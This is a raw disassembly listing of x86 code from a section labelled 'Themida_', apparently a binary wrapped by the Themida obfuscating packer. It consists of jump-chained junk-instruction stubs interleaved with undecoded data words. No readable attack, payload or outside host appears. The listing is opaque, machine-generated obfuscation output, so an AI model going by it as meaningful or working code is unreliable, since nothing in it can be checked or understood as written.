		pop	esi
		push	0C12h
		mov	[esp], ebx
		mov	ebx, 45AC32CAh
		inc	ebx
		push	ecx
		jmp	loc_555EF4
; ---------------------------------------------------------------------------
		dd 24048B66h, 2F7768h, 24348900h, 8904EC83h, 4812424h
		dd 424h, 0B8505E00h, 4,	7244B850h, 0F2D6DB8h, 0D64AB69h
		dd 3DC8041Ch, 0E8CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_555C65:				; CODE XREF: Themida_:0055249Fj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		pop	edi
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 34EC7E42h
		not	esi
		jmp	loc_55D706
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 335E59DEh, 0C381DBF7h, 2F37677Dh, 4EC81h, 1C890000h
		dd 0C0BCE924h, 505FFFFFh, 0FFD4E9E9h, 8BFA89FFh, 0C483243Ch
		dd 33C28104h, 2926BA1Ah, 33EA81EAh, 5D26BA1Ah, 0BB7BE9h
		dd 23113500h, 0E94850BDh, 19CDh, 405h, 24048700h, 8F24248Bh
		dd 0BE92404h, 0ADFFFFABh, 61EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_555CE9:				; CODE XREF: Themida_:0056255Bj
		neg	ebx
		jmp	loc_560D6E
; ---------------------------------------------------------------------------
		dd 0F7E9028Fh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555CF7:				; CODE XREF: Themida_:00558446j
		mov	eax, 15C07B48h
		shr	eax, 5
		sub	eax, 248B289Dh
		inc	eax
		jmp	loc_5516BF
; ---------------------------------------------------------------------------
aIFSy		db 'f[Y',0
		dw 5000h
		dd 297EE9h, 0E4BA5200h,	81689031h, 203E5BEAh, 81DAF778h
		dd 1C2h, 8CC28100h, 1F06FF3h, 24148BD6h, 8304C483h, 348704C6h
		dd 0BD48E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555D46:				; CODE XREF: Themida_:00559E69j
		push	58174AA4h
		jmp	loc_561B6A
; ---------------------------------------------------------------------------
		dd 0F2542E68h, 242C8B52h, 4C481h, 0E5810000h, 6BEA6C2Bh
		dd 53FFC583h, 0E2482A68h, 241C8B42h, 0C52DE9h, 0C8B6600h
		dd 0D1685124h, 0E900005Ch, 4547h, 9D1C77FFh, 14D35966h
		dd 5BE99C24h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D93:				; CODE XREF: Themida_:0056240Cj
		push	ebx
		pop	ebp
		pop	ebx
		add	edx, 39FC6B8Ch
		jmp	loc_5594F9
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFAD81E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555DA9:				; CODE XREF: Themida_:005545D0j
		pop	esi
		xor	dword ptr [edx+38h], 5B137B1Ah
		and	dword ptr [edx+38h], 6CB02F98h
		push	ebx
		jmp	loc_556389
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4296624h, 23E99C24h,	1FFFFAAh, 38ED81DDh, 810C265Ch
		dd 8C3754C5h, 241C8B1Dh, 4C481h, 2C330000h, 0D2EBE924h
		dd 0C181FFFFh, 15488372h, 0E8EE9h, 4C58100h, 87000000h
		dd 0E95C242Ch, 2DA2h, 5EF02958h, 0BEFEE9h, 2474FF00h, 48F5904h
		dd 80E95C24h, 810000E2h, 4ECh, 5C52E900h, 3C8B0000h, 0EAE3E924h
		dd 9EBBFFFFh, 0E976B912h, 0FFFFB6E8h, 405h, 40500h, 4870000h
		dd 62E1E924h, 81430000h, 9A3E0FE3h, 5BC38151h, 0E980BA28h
		dd 0FFFFE4EFh, 3951ED81h, 835A03CEh, 2C8704EDh,	24248B24h
		dd 55243C89h, 4339E9h
		db 0
; ---------------------------------------------------------------------------


loc_555E75:				; CODE XREF: Themida_:00553365j
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5588FC
; ---------------------------------------------------------------------------
		db 89h
		dd 565556E2h, 5B02BB53h, 6EE92223h, 100002Bh, 0BA525DEEh
		dd 4, 2CE9D601h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555EA3:				; CODE XREF: Themida_:00561F35j
		push	eax
		mov	eax, 1C88BA8Ah
		add	edi, eax
		pop	eax
		sub	ebx, edi
		push	dword ptr [esp]
		jmp	loc_563E22
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 22DF211Bh, 0C681EE01h, 22DF211Bh, 6F186852h,	148B0FC2h
		dd 4C48324h, 0EAC1DAF7h, 3DB85002h, 5733EC41h, 0D2C1E956h
		dd 5058FFFFh, 5328BB8h,	4DE50D6Bh, 0E9485C90h, 0E825h
; ---------------------------------------------------------------------------


loc_555EF4:				; CODE XREF: Themida_:00555C2Bj
		mov	ecx, 0C7B4E5Ch
		jmp	loc_556C38
; ---------------------------------------------------------------------------


loc_555EFE:				; CODE XREF: Themida_:00551AE7j
		xchg	eax, [esp]
		jmp	loc_56363F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4566E9h, 24148900h, 72F0E9h, 0E2C15B00h, 0CCEA8103h
		dd 0E9A6D58Fh, 0FFFFD7DFh, 58E7885Ah, 83240C8Bh, 0C8904ECh
		dd 81E18924h, 4C1h, 4C18300h, 5C240C87h, 5BF80058h, 22B75366h
		dd 5B66F828h, 39AFE9h, 119E2D00h, 1C8B3188h, 4C48324h
		dd 0E9240433h, 21E2h, 2434FF59h, 4C48158h, 68000000h, 7224h
		dd 114DE9h, 83E08900h, 348904ECh, 4BE24h, 48E90000h, 5B000030h
		dd 0FFCCBBE9h, 0BB5359FFh, 743E63D4h, 0F13FE9h,	0A848E900h
		dd 0EC81FFFFh, 4, 68243C89h, 681D3226h,	0FFBC8AE9h, 242C8BFFh
		dd 4C481h, 0C7010000h, 46FBBA52h, 0C2810BA0h, 46D8CB13h
		dd 3F39C781h, 0F0E91072h, 580000C4h, 0FE75CE80h, 51E680CEh
		dd 3277E9h, 243C3300h, 0E9243C31h, 616Bh, 0F704C483h, 4E0C1D8h
		dd 403CA12Dh, 0B9E9527Ah, 5B00001Ah, 4AAD68h, 241C8900h
		dd 2BBh, 381BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55601A:				; CODE XREF: Themida_:00560CC3j
		add	eax, 47B44840h
		jmp	loc_56039D
; ---------------------------------------------------------------------------
		dd 0E089505Bh, 405h, 4C08300h, 2474FF50h, 48F5804h, 0E6C15C24h
		dd 4E6C103h, 5001C683h,	1B8h, 0E288E900h, 835DFFFFh, 0C28104C4h
		dd 691C6B90h, 0E955C201h, 138Eh, 0E02C100Ch, 2393E9h, 80F4B400h
		dd 0EC803EE4h, 0C4CC80FFh, 0F6B55166h, 0E9AFC480h, 0B07Eh
		dd 4BA52h, 0D3010000h, 0A6D3E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55608E:				; CODE XREF: Themida_:0056516Bj
		shr	ch, 8
		not	ch
		jmp	loc_55116E
; ---------------------------------------------------------------------------
		dd 5FFC083h, 45083D2Ch,	1F5AC281h, 0C22908DEh, 1F5AEA81h
		dd 76E908DEh, 0C10000F2h, 0C28102EAh, 41E44D6h,	4139C281h
		dd 0C181CF01h, 0FF543C3h, 72EBBF57h, 0F9293AB7h, 0B863E95Fh
		dd 0CA310000h, 1447E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5560DE:				; CODE XREF: Themida_:0055C5B0j
		push	eax
		mov	eax, 1
		sub	ebx, eax
		jmp	loc_55417E
; ---------------------------------------------------------------------------


loc_5560EB:				; CODE XREF: Themida_:0055AA5Cj
		xor	edi, 45971366h
		jmp	loc_55BD43
; ---------------------------------------------------------------------------
		dw 8B58h
		dd 0C4832414h, 7EBC004h, 0B652DBF6h, 0E8C9E941h, 4BAFFFFh
		dd 81000000h, 0E774C5C5h, 72A1E93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55611A:				; CODE XREF: Themida_:00560895j
		add	ecx, edi
		jmp	loc_562AC9
; ---------------------------------------------------------------------------


loc_556121:				; CODE XREF: Themida_:005521A3j
		xor	edi, [esp]
		jmp	loc_557FD8
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0AAh
		dd 0E9152A2Ch, 0A47Ch, 0EC8153ACh, 4, 0E9240489h, 0FFFFFF25h
; ---------------------------------------------------------------------------


loc_556144:				; CODE XREF: Themida_:00551B3Ej
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 381E05D9h
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_55BEFE
; ---------------------------------------------------------------------------


loc_55615A:				; CODE XREF: Themida_:00563DB1j
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5551BA
; ---------------------------------------------------------------------------
		dd 0FFFFBD55h, 5AE9FFFFh, 83000032h, 0DCE904EEh, 87FFFFE5h
		dd 0E95C2434h, 10BCh
; ---------------------------------------------------------------------------


loc_55618C:				; CODE XREF: Themida_:005581CFj
		push	edx
		mov	edx, 5E224022h
		add	edi, edx
		pop	edx
		add	edi, eax
		sub	edi, 5E224022h
		sub	edi, 47451BE0h
		pop	eax
		sub	edi, 4
		jmp	loc_55984E
; ---------------------------------------------------------------------------
		dd 0C3E9F42Ch, 80000087h, 0C28077F2h, 68D2F601h, 2E3Eh
		dd 0B1240C89h, 0CCC980CBh, 0E902E9C0h, 0E45Ah, 0E9240487h
		dd 0FFFFF120h, 0C6FE12B6h, 80A0C680h, 0C68026E6h, 0BFCE80D6h
		dd 0B09CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5561ED:				; CODE XREF: Themida_:0055686Aj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_559138
; ---------------------------------------------------------------------------
		dw 0F968h
		dd 81000009h, 4ECh, 4EC8300h, 83242489h, 8F042404h, 0C8682404h
		dd 89000057h, 0B1E9243Ch, 6800007Ah, 4,	0D8EB8159h, 2950BA7Ah
		dd 0D8C381CBh, 0FF50BA7Ah, 68592434h, 5AFh, 0FFCE10E9h
		dd 4C281FFh, 83000000h,	143302C2h, 24143124h, 0FFDDC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55625D:				; CODE XREF: Themida_:00560400j
		pop	esp
		jmp	loc_55F075
; ---------------------------------------------------------------------------


loc_556263:				; CODE XREF: Themida_:0055B18Aj
		mov	edx, 0
		sub	edx, esi
		mov	esi, edx
		jmp	loc_558713
; ---------------------------------------------------------------------------


loc_556271:				; CODE XREF: Themida_:0055B5BDj
		add	ebp, ecx
		jmp	loc_55908B
; ---------------------------------------------------------------------------
aPiIxs		db 'PԈ',0
		align 2


loc_556282:				; CODE XREF: Themida_:00559648j
		pop	eax
		push	32D0h
		jmp	loc_554259
; ---------------------------------------------------------------------------


loc_55628D:				; CODE XREF: Themida_:0055A27Bj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	2CF4h
		mov	[esp], edx
		jmp	loc_557C79
; ---------------------------------------------------------------------------
		db 50h,	52h, 88h
		dd 95F4E9CEh, 34BA0000h, 0E96EC361h, 0C45h
; ---------------------------------------------------------------------------


loc_5562B4:				; CODE XREF: Themida_:00551C1Bj
		push	esi
		mov	esi, 0C1810F4h
		shl	esi, 8
		or	esi, 6D0C7E4Bh
		push	eax
		mov	eax, 19A27E3Fh
		or	esi, eax
		pop	eax
		not	esi
		jmp	loc_5543CC
; ---------------------------------------------------------------------------
		db 1
		dd 0CC681D6h, 0E97E6D65h, 2913h, 4336CA81h, 0C2816F70h
		dd 1F374545h, 0BB40C281h, 0F2E9E0D0h, 540000DEh, 50243C8Bh
		dd 5D29E9h, 48E95C00h, 89000018h, 27B9240Ch, 0E948D011h
		dd 0FFFFD073h, 815B5453h, 4C3h,	4EB8100h, 87000000h, 0C4E9241Ch
		dd 59000002h, 405h, 24043300h, 33240431h, 248B2404h, 0A4ACE924h
		dd 34FFFFFFh, 2434FF24h, 4C4815Bh, 55000000h, 3456E9h
		dd 689EBA00h, 0B9517149h, 7149689Ah, 6C43E9h
		db 0
; ---------------------------------------------------------------------------


loc_556365:				; CODE XREF: Themida_:00564550j
		add	eax, esi
		sub	eax, 60E006D6h
		pop	esi
		add	eax, 4
		jmp	loc_55C2DC
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 8B240433h, 0F8212424h, 0AE8C15Fh, 0FFCB28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556389:				; CODE XREF: Themida_:00555DB9j
		mov	ebx, 38h
		add	ebx, edx
		jmp	loc_550BC1
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 42474FFh, 24048F5Bh,	0AA43E95Ch, 0E8B8FFFFh,	314CA269h
		dd 0C15B58C6h, 0EEC102EEh, 4BEE8104h, 514B0B0Fh, 0E699E9h
		dd 0EC835A00h, 240C8904h, 0C181E189h, 4, 3304C183h, 0C31240Ch
		dd 240C3324h, 0DCCAE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5563E2:				; CODE XREF: Themida_:00552708j
		push	eax
		mov	al, 28h
		jmp	loc_55396E
; ---------------------------------------------------------------------------


loc_5563EA:				; CODE XREF: Themida_:00556439j
		mov	bh, 0E0h
		push	cx
		mov	cl, 39h
		add	bh, cl
		jmp	loc_551D4F
; ---------------------------------------------------------------------------
		db 56h
		dd 42474FFh, 24048F5Eh,	0FFF23BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556405:				; CODE XREF: Themida_:0055647Fj
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 5AC378ABh
		push	edi
		not	dword ptr [esp]
		pop	edi
		xor	edi, 0A53C8750h
		jmp	loc_55E846
; ---------------------------------------------------------------------------


loc_556421:				; CODE XREF: Themida_:0055D25Ej
		push	ebp
		pop	edi
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55DE58
; ---------------------------------------------------------------------------


loc_55642E:				; CODE XREF: Themida_:0055D39Ej
		mov	[esp], ecx
		push	7606h
		mov	[esp], ebx
		jmp	loc_5563EA
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 1BC5E381h, 0C381705Ah, 0FE9C5748h, 9B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_556451:				; CODE XREF: Themida_:00558AA8j
		or	edx, 57674AC7h
		inc	edx
		xchg	ebp, edx
		jmp	loc_55CBBF
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFA38Ah
; ---------------------------------------------------------------------------


loc_556464:				; CODE XREF: Themida_:00563051j
		push	20000h
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_556405
; ---------------------------------------------------------------------------


loc_556484:				; CODE XREF: Themida_:005642CFj
		push	edx
		push	eax
		mov	eax, 1C945FAAh
		mov	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 6CED1E93h
		jmp	loc_563A8B
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 8904EC83h, 0E957240Ch, 0FFFFC1C7h, 76EC68h, 241C8900h
		dd 3CBBh, 0F4685200h, 0E9554B23h, 4693h, 272CEA81h, 0DE93C50h
		dd 52000093h, 0D328A1B2h, 8533E9h, 43533500h, 713513CDh
		dd 29BE79FBh, 0C60158C6h, 363BBF57h, 0FE016ED6h, 24048B5Fh
		dd 4C481h, 7B680000h, 8900000Ah, 51532414h, 9204E468h
		dd 0C1815907h, 6E9755C6h, 8159CB89h, 0E048E4E3h, 0FF24E95Ch
		dd 4481FFFFh, 57B80824h, 440112D0h, 32E90824h, 920000B8h
		dd 8FD2E9h, 2474FF00h, 0C6C4E904h, 0BD2DFFFFh, 1424403h
		dd 0C3E7E9D0h, 0EF810000h, 7737084Ch, 7088E9h, 24048700h
		dd 27F3805Ch, 0B753CA2Ch, 3EFC078h, 0C00BF780h,	0EFC008EFh
		dd 64EF8004h, 0DE39E9h
		db 0
; ---------------------------------------------------------------------------


loc_556571:				; CODE XREF: Themida_:00563A25j
		rep movsd
		add	esp, [edx+38h]
		push	4F69h
		jmp	loc_559E66
; ---------------------------------------------------------------------------
		dd 0DBF2814Ah, 0E9176078h, 3184h, 0D6F7F731h, 0FFE363E9h
		dd 4EC81FFh, 89000000h,	68243Ch, 0FF000004h, 0F7E92434h
		dd 89FFFFF6h, 4C381E3h,	68000000h, 465Bh, 0E9241489h, 0FFFFCF0Fh
		dd 5202C483h, 0FFA761E9h, 74FF53FFh, 8F5B0424h,	895C2404h
		dd 0E9522424h, 0FFFFFD79h, 4EC81h, 2C890000h, 6829BD24h
		dd 0DE955C5h, 5CFFFFF2h, 15B6E9h, 0FFE98100h, 8108594Fh
		dd 815E4DE9h, 1AC18119h, 3147221Ah, 0E38159CBh,	4CD80285h
		dd 5E49E9h
		db 0
; ---------------------------------------------------------------------------


loc_556615:				; CODE XREF: Themida_:00560180j
		shr	ecx, 2
		and	ecx, 2FC54C30h
		xor	ecx, 27044834h
		add	ebx, ecx
		pop	ecx
		jmp	loc_552318
; ---------------------------------------------------------------------------
		dd 0D95EE954h, 8F5FFFFFh, 0D7F72404h, 0FF243C87h, 815F2434h
		dd 4C4h, 81474700h, 5D3AF9C7h, 49EF815Dh, 897BFC6Eh, 2434FFFBh
		dd 4182E95Fh, 4050000h,	52000000h, 4BAh, 5AD00100h, 0A7EE9h
		dd 0BB535D00h, 2, 8CE9D801h, 83000032h,	0C8B04C4h, 4C48124h
		dd 52000000h, 4BAh, 0E9D10100h,	42E6h, 8324348Bh, 15B04C4h
		dd 90F6E9D0h, 0C3810000h, 4, 7965E9h, 4C28100h,	0E9000000h
		dd 2FF0h, 0E941B353h, 0FFFFA8EDh, 0E7CFE95Eh, 87510000h
		dd 0D3F7241Ch, 59241C87h, 598FC181h, 966804F1h,	89000041h
		dd 25BF243Ch, 81BFE1A5h, 7924CCE9h, 83E1E90Bh, 68470000h
		dd 0
		dd 5F243C29h, 6506C781h, 0D7E90C88h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556707:				; CODE XREF: Themida_:0055E28Aj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_563301
; ---------------------------------------------------------------------------


loc_556717:				; CODE XREF: Themida_:0055DAB8j
		add	al, 72h
		jmp	loc_5573A3
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0FE55B224h, 0EBDEE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55672A:				; CODE XREF: Themida_:0056353Fj
		push	esi
		push	ebp
		mov	ebp, 0CB07F708h
		mov	esi, ebp
		jmp	loc_5654ED
; ---------------------------------------------------------------------------


loc_556738:				; CODE XREF: Themida_:00555413j
		mov	ebp, 0F2DE2088h
		add	ebp, ebx
		pop	ebx
		mov	eax, ebp
		pop	ebp
		shl	eax, 1
		push	47EDh
		jmp	loc_552D0E
; ---------------------------------------------------------------------------
		db 28h
		dd 1FB252D8h, 0FEABB551h, 6AC580C5h, 80F9ED80h,	0EA30E4C5h
		dd 0B171E959h, 0EC810000h, 4, 0E9240489h, 0FFFFD3E6h
; ---------------------------------------------------------------------------


loc_556778:				; CODE XREF: Themida_:0055B5ACj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_561ADF
; ---------------------------------------------------------------------------
		db 5Fh
		dd 29FCE943h, 0ED810000h, 692E365Fh, 9E96E9h, 5AE95C00h
		dd 81FFFFE2h, 2E64ABF7h, 0EBE7813Eh, 810EB803h,	0F83DCBF7h
		dd 5FFE2927h, 24348758h, 8924248Bh, 0B551241Ch,	80DDF664h
		dd 0ED8009E5h, 59EB8806h, 0AC21E951h, 0C581FFFFh, 30C762C7h
		dd 10E9CD29h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5567DB:				; CODE XREF: Themida_:005622C6j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	ebx, 626C1F9Ah
		jmp	loc_55EF6C
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0AFE92414h, 0ADFFFFFAh, 15646851h, 22E90000h
		dd 0F70000E2h, 81E981D1h, 8157526Bh, 503B3BC1h,	13EB81E5h
		dd 0E91E603Fh, 0E53Ch, 0DE5FDEBDh, 0A32FE916h, 0D8890000h
		dd 0F3E95A5Bh, 2D00000Eh, 53EA4B67h, 4CB3E9h, 9FACE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556842:				; CODE XREF: Themida_:005654AFj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ecx, 0B40CB62Dh
		sub	eax, ecx
		pop	ecx
		jmp	loc_55D6D4
; ---------------------------------------------------------------------------


loc_556857:				; CODE XREF: Themida_:00556AE3j
		pop	esi
		jmp	loc_5632CF
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0C4h
		dd 138CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556866:				; CODE XREF: Themida_:0056202Ej
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_5561ED
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95F2434h, 1D4Ch, 0A1B8E957h, 8859FFFFh, 81A9E9D5h
		dd 0C890000h, 2D4BB924h, 0CD2988D1h, 83240C8Bh,	0EA0104C4h
		dd 4EA835Dh, 0E9241487h, 0D8A2h, 4EB8358h, 0AF0CE953h
		dd 0C483FFFFh, 1BEF8104h, 5A16131Eh, 0C1FFC783h, 0F78103E7h
		dd 987FE2E3h, 99CE956h,	0C5830000h, 242C8704h, 0AD7BE95Ch
		dd 0DA010000h, 0FFF63CE9h, 24048FFFh, 0BF575B5Ch, 4, 2D3BEB81h
		dd 0FB010B37h, 2D3BC381h, 555F0B37h, 52746CBDh,	10E9E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556902:				; CODE XREF: Themida_:00559810j
		pop	esp
		mov	[esp], ebx
		jmp	loc_55B130
; ---------------------------------------------------------------------------


loc_55690B:				; CODE XREF: Themida_:0055B735j
		pop	edx
		jmp	loc_5578D1
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Eh, 81000000h,	26145BCFh, 7BF78177h, 897F2EFCh
		dd 0CB895FF9h, 0B634E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556932:				; CODE XREF: Themida_:005511FAj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_557FD9
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FFF72FE9h, 0BBE95AFFh, 89000043h, 0BB532424h, 4
		dd 4245C01h, 242C8B5Bh,	8104C483h, 4C5h, 4C58300h, 242668h
		dd 242C8900h, 42474FFh,	0DE9DE9h, 0E9932C00h, 5155h
; ---------------------------------------------------------------------------


loc_55698C:				; CODE XREF: Themida_:00558477j
		add	eax, edx
		jmp	loc_55849E
; ---------------------------------------------------------------------------
		db 89h
		dd 0BA52240Ch, 2E4F000Ch, 40868h, 4200E900h, 0C8300000h
		dd 7FB6859h, 14890000h,	4EC8124h, 89000000h, 2DB3241Ch
		dd 0F6CEF380h, 0FFEB80D3h, 4EE95366h, 10000A9h,	0CD7DE9C5h
		dd 148BFFFFh, 4C48124h,	89000000h, 0C38159CBh, 79697ED4h
		dd 2012E9h, 4C48100h, 55000000h, 3CC3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5569F5:				; CODE XREF: Themida_:005534C2j
		pop	ebx
		add	esi, edx
		pop	edx
		sub	esi, 4
		jmp	loc_553AE2
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd offset dword_4F0844+5A5h
		db 0
; ---------------------------------------------------------------------------


loc_556A09:				; CODE XREF: Themida_:00558633j
		push	ebx
		mov	ebx, 0D77BD076h
		jmp	loc_553154
; ---------------------------------------------------------------------------
aRitskr		db 'Rr',0
		align 4


loc_556A1C:				; CODE XREF: Themida_:00557540j
		push	4623h
		mov	[esp], edi
		mov	edi, 98F6FFEh
		shr	edi, 3
		sub	edi, 3F7B2522h
		jmp	loc_561E22
; ---------------------------------------------------------------------------


loc_556A37:				; CODE XREF: Themida_:00557D4Cj
		mov	edx, 58F6568Fh
		jmp	loc_561CAA
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 29h
		dd 29699B7Ah, 5904244Ch, 29C3815Bh, 8B699B7Ah, 0C483243Ch
		dd 246C8104h, 0C463D904h, 24448116h, 1529EE04h,	24448141h
		dd 6E0EA104h, 245C2919h, 988FE904h, 0EE810000h,	0D28E0530h
		dd 348BF301h, 4C48324h,	0D7F3E957h, 55510000h, 0FFB90CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556A95:				; CODE XREF: Themida_:005533D9j
		sub	dword ptr [esp], 6EF206FDh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55ECC3
; ---------------------------------------------------------------------------


loc_556AA7:				; CODE XREF: Themida_:005653D8j
		add	eax, 6C591DBBh
		jmp	loc_558DB1
; ---------------------------------------------------------------------------
		db 50h,	0FFh, 74h
		dd 48B0424h, 4C48324h, 5C24048Fh, 51242489h, 4B9h, 244C0100h
		dd 0E136E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556AD2:				; CODE XREF: Themida_:005640D6j
		add	esi, ebx
		add	esi, 6EF91B6Eh
		pop	ebx
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_556857
; ---------------------------------------------------------------------------
		dd 0ED814D58h, 97FB5FF2h, 2C8BEF01h, 4C48124h, 0E9000000h
		dd 0D6DEh, 0F328E953h, 80DFFFFh, 2D6F6027h, 212B2568h
		dd 4EC81h, 34890000h, 7D9BE924h, 0C2830000h, 0D32DE904h
		dd 0EB800000h, 5BD8281Eh, 0CB04F028h, 0E92434FFh, 786Fh
		dd 0E92414F7h, 489Bh, 83240C8Bh, 0E95304C4h, 0FFFFDC29h
		dd 8104E3C1h, 335E13F3h, 6C3812Ch, 0E9C157EEh, 3EC4h, 0E9240C89h
		dd 0FFFFCC08h, 0D04EE81h, 0EE81246Dh, 7E6D650Ch, 0FFF75AE9h
		dd 242C8BFFh, 4F2AE9h
		db 0
; ---------------------------------------------------------------------------


loc_556B81:				; CODE XREF: Themida_:0056020Dj
		add	edi, 4
		jmp	loc_55B7B8
; ---------------------------------------------------------------------------


loc_556B8C:				; CODE XREF: Themida_:0055248Bj
		not	esi
		xchg	esi, [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	3DE4h
		mov	[esp], eax
		jmp	loc_551003
; ---------------------------------------------------------------------------
		dd 4EC83ADh, 0E9243C89h, 3FBh, 5FFE315Fh, 15EE8146h, 4E11C166h
		dd 0E681D6F7h, 5FAA57ECh, 5C10E9h, 0E9E18900h, 0A842h
		dd 5585450h, 4,	8704E883h, 4DE92404h, 890000ADh, 4B951E3h
		dd 1000000h, 0CB7AE9CBh, 814A0000h, 52F537EAh, 0E9D631BDh
		dd 5F91h, 9C2424D2h, 0FF9BE5E9h, 24048BFFh, 4EC81h, 1C890000h
		dd 81E38924h, 4C3h, 0E5F3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556C22:				; CODE XREF: Themida_:0055A0CBj
		add	ebp, 45375B34h
		mov	esi, [esp]
		jmp	loc_55EC71
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 549Dh
; ---------------------------------------------------------------------------


loc_556C38:				; CODE XREF: Themida_:00555EF9j
		shl	ecx, 1
		push	eax
		mov	eax, 3E5924F1h
		jmp	loc_5517E8
; ---------------------------------------------------------------------------
		db 68h,	3Ch, 17h
		dd 0C890000h, 0E0895024h, 405h,	84685300h, 89000017h, 0F0682404h
		dd 5873762Dh, 6447EF35h, 96E9563Bh, 1000097h, 0B71CE9EFh
		dd 4568FFFFh, 8900006Fh, 2EE9243Ch, 29000018h, 0F80159C8h
		dd 690D5805h, 0E0E95163h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556C93:				; CODE XREF: Themida_:0056147Aj
		sub	ebx, ecx
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 29757227h
		jmp	loc_55879F
; ---------------------------------------------------------------------------
aMmbJiFsd	db 'MMjI',0Ah,0
		dw 8100h
		dd 4C1h, 0A6BF5700h, 5103053Eh,	53EA2B9h, 59CF3103h, 0C095E9h
		db 0
; ---------------------------------------------------------------------------


loc_556CD1:				; CODE XREF: Themida_:00564165j
		add	esp, 4
		jmp	loc_5583B6
; ---------------------------------------------------------------------------
		dd 3159CA89h, 24148BD1h, 0E904C483h, 21FAh
; ---------------------------------------------------------------------------


loc_556CEC:				; CODE XREF: Themida_:0055744Dj
		add	eax, edi
		pop	edi
		push	esi
		push	eax
		mov	eax, 7D2062D9h
		or	eax, 5334538h
		jmp	loc_560CBE
; ---------------------------------------------------------------------------


loc_556D00:				; CODE XREF: Themida_:0055CBCCj
		push	edi
		jmp	loc_55CF20
; ---------------------------------------------------------------------------
		dd offset dword_585C68
		dw 0E900h
		dd 44EEh, 555E5856h, 621FE9h, 4C68100h,	0E9000000h, 0A91Bh
; ---------------------------------------------------------------------------


loc_556D24:				; CODE XREF: Themida_:005508D2j
		pop	edi
		xchg	edi, ebp
		xchg	ebp, ecx
		sub	ecx, 5B21B980h
		add	[edi+24h], ecx
		mov	ecx, [esp]
		jmp	loc_564524
; ---------------------------------------------------------------------------
		dw 0D687h
		dd 27F6815Ah, 55723015h, 0F34B5ABDh, 7EDC11Ch, 7CC2BE56h
